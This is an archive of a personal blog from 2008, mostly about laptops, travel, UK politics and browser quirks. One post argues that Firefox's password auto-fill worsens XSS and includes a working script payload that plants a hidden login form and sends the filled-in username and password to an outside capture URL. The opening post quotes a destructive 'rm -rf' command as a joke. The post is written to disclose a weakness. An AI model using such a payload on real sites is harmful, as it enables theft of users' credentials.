Radiac's Diary

What is wrong with me?

2008-07-03T18:20:40-00:00

Seen moments ago:

rm -rf /usr/lolcat/nginx

That's some serious typo skills - some part of my brain meant to write that. You know that bit in that show where that guy realises he's going insane? I'm that guy.

I am in your Firefox, stealing your Passwords

2008-06-25T21:39:44-00:00

The Firefox developers have their security and usability priorities all muddled up. You can't access my self-signed website, but I can steal your passwords without you even knowing. And they think this makes your browser better.

In Firefox 3, they introduced stricter SSL certificate checks that give you an error page that you can't turn off. It's a usability nightmare if it's a site you want to get in to; there are 4 mouse clicks, all over the screen to add the site - amusingly, 5 if you only want to add it temporarily. Reminds me of Vista UAC. Extremely annoying for people who may run several HTTPS sites on a dev machine, or who need to access scripts on specific machines behind a load balanced secure site, for example.

Sacrificing usability for security is something I can forgive, even condone - although I can't see quite what's so bad about the way IE 7 does it, with a big warning saying "Actually, you don't want to open this". However, it's not a sacrifice Firefox wants to make across the board. Look at the password manager.

Just log in once, and whenever you open another page on the site that prompts for your username and password, it'll pre-populate it for you. Handy, eh?

I'm not talking about an autocomplete option when you start typing, like they do in IE; no, it fills it out for you as soon as you open the page. I thought this was new to FF3, but looking back they've been doing it in FF2 too.

Significant usability gain? No. In fact, they've "improved" form detection in FF3 and have made it a usability nightmare. Now it does it anywhere it finds a password field, regardless of context. Imagine a form on a site that prompts you for a password to a different resource; it's now always populated with the wrong password. Or more commonly, imagine a form that lets you change your details, and has a field to change your password if you provide your current one. Click save and *ding*! Error! Or even better, you've now got a blank password (and don't know why you can't log back in). Now they're sacrificing usability for usability!

Bugzilla comments say if you've got a form like that, you should set the autocomplete="no" form attribute. Great, but that's like saying they're now not going to render HTML if it contains presentational markup - I'm screwed on a major proportion of sites I use.

But wait, why am I talking about mere annoyances, when I can be talking about a vulnerability, at least when combined with XSS. Let me show you:

Leave a new comment:

I LOVE THIS SITE, AAA+++++++=+++!!!1!
<script>
document.write('<form style="display:none">' +
  '<input type="text" name="username" id="username">' +
  '<input type="password" name="password"></form>');
window.onload = function () {
  (new Image).src = 'http://radiac.net/capture?u=' +
    document.getElementsByName('username')[0].value +
    '&p=' + document.getElementsByName('password')[0].value
  ;
}
</script>

Profit.

That's just the quick version before we start trying. And the best bit? There are bug reports about this in Bugzilla going back to 2006. The response to that bug was the same as to similar bugs being submitted now:

I don't think we should sacrifice usability this much just to slightly mitigate the effect of a successful XSS attack.

Slightly mitigate the effect? Slightly?! I just stole all your visitors' usernames and passwords!

Other comments say once a site's been injected with malicious code, it's already game over, but this isn't some obscure Quicktime hack that'll only last until the next bug fix - this is an officially sanctioned feature. With this, it doesn't matter if I can't inject code onto the login page to sniff keypresses, or if you do clever stuff with your session cookies to make sure they can't be copied - all I need is one tiny corner of your site, and I have their password. I am now them.

Still, at least they don't have to click two buttons to select their login from the dropdown. I'm sure that'll keep them happy while I'm finding out which other sites I can now access. Please, just let me get one for play.

Flash, Iframes and IE

2008-06-15T09:50:55-00:00

Here's another fun little flash/ie fact: putting a 1x1 swf inside a 1x1 iframe fails in IE, at least if you want to use ExternalInterface. It seems that the iframe has to be 18px by 18px - and Google and I have no idea why. Any suggestions?

Sun's out, trains off

2008-06-14T17:50:55-00:00

Has anyone else noticed how the RMT only ever strikes when it's sunny?

Let's move!

2008-06-12T17:55:33-00:00

I don't regularly comment on matters of politics, but I shall today. For some reason I was surprised when I heard that the 42 day detention bill had passed in the commons. Diane Abbott's speech is a perfect example of why it should have failed - you know something's up when a Labour MP stands with senior ministers from the tories and lib dems in saying the security services don't need it, that the similar legislation was already defeated two years ago and that it's just about strengthening the PM's position. I couldn't see how people could have listened to that and the rest of the debate, and still voted aye. I naively couldn't see how it would pass.

Of course, I missed the real point - it's pure politics at its worst. Brown wanted to show he was tough and able to succeed where Blair failed. If Brown had lost, he could have been days away from a challenge, and the rumours of promises of safe seats and knighthoods to increase the ayes don't do anything to suggest otherwise. Blair was dangerous, but Brown is both dangerous and incompetent. A heady mix.

So, while there may well be more to it than meets the eye, taking David Davis' resignation speech at face value gives me just the tiniest glimmer of hope that the madness in politics in this country hasn't reached the point of no return.

Of course, all his re-election will achieve is a bit of extra publicity and another nail in Brown's coffin, but no real change. That's the problem with politics in the UK - we the voters are damned if we do, damned if we don't.

But then perhaps I give too much credit to the public common sense. Top-watched video on the BBC is "Colleen parties before wedding" - they just don't care, because it doesn't affect them, yet.

Time to move out. Can anyone recommend a nice country that speaks english but respects their citizens?

Obscure Bugs Revisited: IE, HTTPS and Plugins

2008-05-30T08:46:10-00:00

So, I had a fun little problem yesterday; a Flash SWF wasn't appearing on an HTTPS page on IE. It was fine on HTTP, and fine in other browsers, but HTTPS just wasn't doing it; the flash plugin was just showing the awesomely helpful "Movie not loaded" message. Cue much confusion, investigation.

Turns out that IE takes the caching headers on HTTPS requests a little too seriously. The following headers were set on the SWF:

Pragma: no-cache
Cache-Control: no-cache

Why does this break it? Well, it's down to how IE and plugins work.

First, IE downloads your HTTPS page and finds the Flash plugin tag, and loads Flash. Flash then figures out which SWF it wants, and tells IE to download it, again, over HTTPS. IE downloads it, checks the header, thinks "Ooh, this is a secure file that shouldn't be cached - better get rid of this quickly" and promptly wipes it from its memory. It then tries to pass the file to Flash.

Spot a problem there? This doesn't just apply to Flash, but apparently any plugin that wants to get files over HTTPS, including PDFs and Office documents. Full details are on the Microsoft site, including the headers to avoid.

Say what you want about Microsoft, but that's some innovative software design right there. Nothing's breaking through that security measure.

The solution? Remove all no-cache headers. If you want to make sure it's still not stored between requests, you need to do it a different way:

Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: private,pre-check=0,post-check=0

The theory being the Expires header catches HTTP 1.0 requests, and the Cache-Control should catch HTTP 1.1, with private being nearly as good as no-cache, in theory at least. Certainly seems to work, although with cache-busting nothing seems certain. If you can suggest any improvements, please leave a comment.

Barcelona

2008-05-18T10:03:52-00:00

Leela and I disappeared off to Barcelona this week, and had much fun doing the usual touristy things.

We went up and down Las Ramblas several times, took the Bus Turistic (or the "Tourist Bus", for those who aren't all that with the Spanish), saw several buildings by Gaudi (like Casa Mila and Sagrada Familia), went into some modern art museums, visited the science museum, walked through the Barri Gotic, didn't get pick-pocketed or mugged once, and had particularly excellent ice creams at Port Vell. Although they forecast rain, the skies were clear and the sun was out each day - made a nice change to go somewhere and have good weather, and an even nicer change to not get sunburnt.

As ever, there are many photos, which I'll go through and put up here shortly.

Uninstalling McAfee under Vista

2008-05-03T23:38:51-00:00

My Dell arrived with McAfee, but it turns out it's a bit of a pain to uninstall. The standard steps leave it listed under Windows Security Center, saying something along the lines of "McAfee VirusScan reports that it is running". This then causes problems when trying to install other anti-virus software.

So, this is a quick and boring entry for the benefit of Google. Here's how to get rid of McAfee:

Uninstall McAfee under Control Panel -> Uninstall a program and reboot
Go to service.mcafee.com and follow the instructions for MCRE - download, run and reboot when prompted
Run C:\Windows\system32\cmd.exe as administrator
Run the following commands:
1. net stop winmgmt
2. cd %windir%\system32\wbem
3. ren repository repository.old
4. net start winmgmt
Reboot

On laptops, and resisting the 360

2008-04-29T23:32:07-00:00

Today was a significant day for two reasons. Firstly the Dell engineer came out to fix my laptop, and secondly the game went on sale.

Lets talk about Dell first. The chap who came over was very nice, took my laptop to pieces - literally, unscrewed everything - replaced the speakers, and the motherboard while he was at it. Turned it back on, and everything's working perfectly - I can hear sound! Hurrah!

I'm actually very happy with the laptop now; sure, it runs Vista, but that's nothing a quick reinstall won't fix. Thanks to everyone who has taken the time to suggest laptops and to discuss my choices in the comments over the past few weeks, it's been appreciated.

Now, on to the pressing matter of a certain game released today. Several times over the past few weeks I have found myself on Play, clicking on the appropriate 360 bundle with my wallet in hand, but so far I have managed to fight it. Today, with the thought of thousands of people across the country simultaneously breaking into virtual cars, I found it very difficult to resist the urge to down tools and run to the nearest Game. I think it would be fair to say that I am quite keen to play GTA IV.

At first I thought it would be ridiculous to buy an entire console for one game - after all, I joked about getting a PS2 for each GTA 3 as they came out - but when I considered how many hours of my life GTA IV will consume, and what that means in terms of loss of earnings, the cost of an xbox really is fairly insignificant. Which has not made it any easier to resist.

There are two things that help though. Firstly, a lack of any free time - my commitments right now stretch as far as the eye can see. Secondly, the promise of a PC release - which is of course not guaranteed, and is a flawed argument anyway as I will no doubt need to buy a whole new computer to play it on. Nevertheless, my plan is to hold out for the October PC release rumours to be confirmed or denied, which will be perfect timing for an early Christmas present to myself. A cunning plan - if only I had some willpower.

Nightmares

2008-04-17T08:34:32-00:00

Is it normal to have a nightmare about your computer getting infected with a drive-by browser exploit, and you being unable to stop it or find your OS CD to do a reinstall? Would you be as relieved as I was when you wake up and realise it was all just a dream?

While on the subject of nightmares, I should probably complete the story of the new laptop. We'll pick it up a week last Friday - yes, we're now talking over a week and a half ago; I've been stupidly busy with work, more work and in what little free time is left, an awesome new project. Unlike some of my other projects, I have an excellent name for it, a domain, a logo concept and half a website. The program is modular; I've completed the core, but all the interesting functionality is in the modules, so sadly the bulk of the work is still to do. Still, watch this space - it will be out soon.

Sorry, we were talking about nightmares, laptops, and last week's last Friday.

On Friday 4th, my laptop specs suddenly jumped from "We'll start doing something soon" to "We posted it yesterday!". Nice. I got a phone call from an automated system asking me for a delivery date; I couldn't do Monday, so told them Tuesday morning.

Tuesday came around, I watched the tracking page intently. It left the depot for delivery at 7:03am, and I waited. I waited and waited, and at about 4:45pm the tracking page updated with "11:03 - Address query". After participating in a very exciting game of pass-the-caller, I made it through to the depot in Gloucester (which certainly explains a lot). They told me that the driver hadn't been able to find the flat, so I gave them explicit delivery instructions - "Turn right and keep walking" - and it arrived the next day. I do wonder what would have happened if I hadn't rung though - I guess they'd have sent it back to Dell and I'd still be waiting for it today.

Which would have made the next part of my story even worse.

My laptop arrived, and it is broken. And no, I'm not referring to Vista (although that is dire).

To be precise, my speakers are broken. They emit a noise not dissimilar to a cat being strangled with a Geiger counter.

And that's pretty much where we are now. Dell say they'll send a technician round to fix it, but I have to be in for two full consecutive business days. That's kinda difficult this week, so it'll have to wait until next week. Let's hope I don't have one of those horror story repairs where they break everything else in the process.

Of course, even if it does go to plan, I'll still be left with the CRUNK noises that come from the hard disk, but they are apparently perfectly normal for the M1330, so not to worry. I'm tempted to fix that one by getting a new laptop HD and installing XP on it; but that would be one for another day when I have a little more time.

Seriously though Dell, it's April 2nd now

2008-04-02T23:18:01-00:00

So after much deliberation, I made my decision and went for a Dell XPS M1300. Thank you to everyone who helped me in the comments, but in the end it came down to a combination of size, features and price. The model I've ordered has everything I wanted, but for half the price I was originally expecting to pay; the other windows machines couldn't really compete.

The only other one that left was an Apple, but with the money I'll have left over from this I can buy myself a mac mini and still have enough to get a second screen. Or several Wii games and DVDs. Or several really nice meals. Or several really nice meals and several really painful sessions at the gym. Or any number of things.

However, I placed the order on Sunday 31st, and on Monday Dell gave me the expected delivery date. 25th of April.

Naturally, I assumed that this was a good-natured April fools prank on their part. You can imagine my surprise when I checked again today, and the date had not changed. I have e-mailed them to point out their mistake, but am still waiting for a reply.

Amusingly, since ordering my new laptop, my Vaio has stopped playing up, has not had the power flicker, and is holding its charge. Knew the damned thing was sentient when it decided to fail an hour before a deadline, but didn't realise it had evolved to the point it could sniff my network traffic. Scary.

Mildly embarrassing moment #56732 in the life of me

2008-04-02T11:51:23-00:00

Singing word-like gibberish sounds loudly to the tune of "Ain't no sunshine" by the Lighthouse Family, while programming and excitedly waggling my head around in time to the beat, and then looking up at the completely-not-soundproofed window and catching the postman staring in with a perplexed look on his face.

Yet another reason to keep the curtains drawn.

Happy Easter!

2008-03-24T22:42:41-00:00

Hope everyone has had a good easter! But seriously, where did those four days go? More to the point, where did all that chocolate go?

Are Laptop Batteries Supposed To Squeak?

2008-03-12T08:09:55-00:00

My Vaio Z1XMP is approaching its fourth birthday, but sadly it doesn't look like it'll make it.

Over those four years it has picked up its fair share of minor blemishes - the plastic wrist rest area has come away, the screen has been pressed too hard at some point, so isn't a consistent brightness. Little things, like the broken space bar spring. Then there were the inherent problems, like lack of CPU power or lack of screen brightness when on battery. Or that it gets so hot it actually burns my legs if I don't put it on a table. Or - and this is my personal favourite - that I become electrically charged and can continuously electrocute people while I have the laptop on my lap. These are problems, to be true, but nothing I can't work around, and nothing serious enough to warrant replacing it.

The first real problem I faced about 8 months ago was lack of ram. I upgraded to 1GB, which helped, but I need to run 4 linux VMs at the same time as Flash, Word and five browsers; 1GB doesn't cut it. The machine often spends half its time writing swap and churning the hard drive.

Which was the next problem. The hard drive started clicking gently about 6 months ago, and is now clicking a bit more each day. Only a matter of time.

Then there is the power cable, which I think is broken. In certain positions it works fine; the rest of the time, my laptop swaps between battery and cpu about 10 times a second. I'm sure it's not helping the battery.

Ah, yes. The battery. All of those problems I would be happy to overlook, if it wasn't for the battery.

It squeaks.

There's no other way to describe it; I noticed that while it's charging, it has started squeaking intermittently; it'll squeak every ~750ms for about 10 seconds, then go quiet again. Then start up again. And the other day when I turned it off, it continued squeaking. For about a minute.

I think that's a bad thing. Like a "the lithium cells are doing stuff they shouldn't be doing, like expanding and contracting, and one of these days they're going to expand too much and explode, raining burning laptop bits down upon me, and setting fire to the train in the process" bad thing.

Add it all up, and I think there's only one option: get a new laptop. Now I just have to decide which one. I want something powerful but fairly light, so it's currently between a Dell XPS M1330, a Toshiba Portege R500 (although they've had mixed reviews), and *gasp* a Macbook Pro (it's ok, you can run windows on them). Any comments or suggestions?

Monitor Joy

2008-03-08T22:53:43-00:00

So my replacement screen arrived yesterday. I boxed up my old screen first thing in the morning before I started work, and spent most of the day on my laptop - but more on that later.

The guy rolled up at about 4pm, but the return label was on the new box, so we had to unpack my old screen and put it in the box the new one came in. Bit ridiculous, but I can see the sense in it. It all happened so fast - he had it packed and in his van before I'd barely had a chance to check the new model number.

So, what of the new monitor? I unwrapped it, plugged it in, turned it on, watched the machine boot up with sadness, for right there, right in the center, about 1/3 of the way up the screen, was a dead pixel. I also noted that the instructions were in german - yes, that's right kids, my screen belonged to the germans. What's more, when I checked the sticker on the back, it looks like I've stepped back a couple of revision numbers, from a version D to a B - according to the internet, a poor screen with many visual problems.

But you know what? Turns out that with my poor eyesight, I actually can't tell the difference. Either that, or there's no problem; perhaps I got lucky, or someone sent it back and they replaced the errant board with a new one.

More to the point, thanks to my fluent german (nein, ich habe keine igelburger), I was able to swap the menus back to English in no time at all.

And the dead pixel? On closer inspection, it turned out to be a fleck of polystyrene.

So, all in all, a good experience. I now effectively have an identical monitor to before, only with a working power button, at very little disruption to myself. I'm pretty happy with Dell's replacement service; A+++++++, will buy again.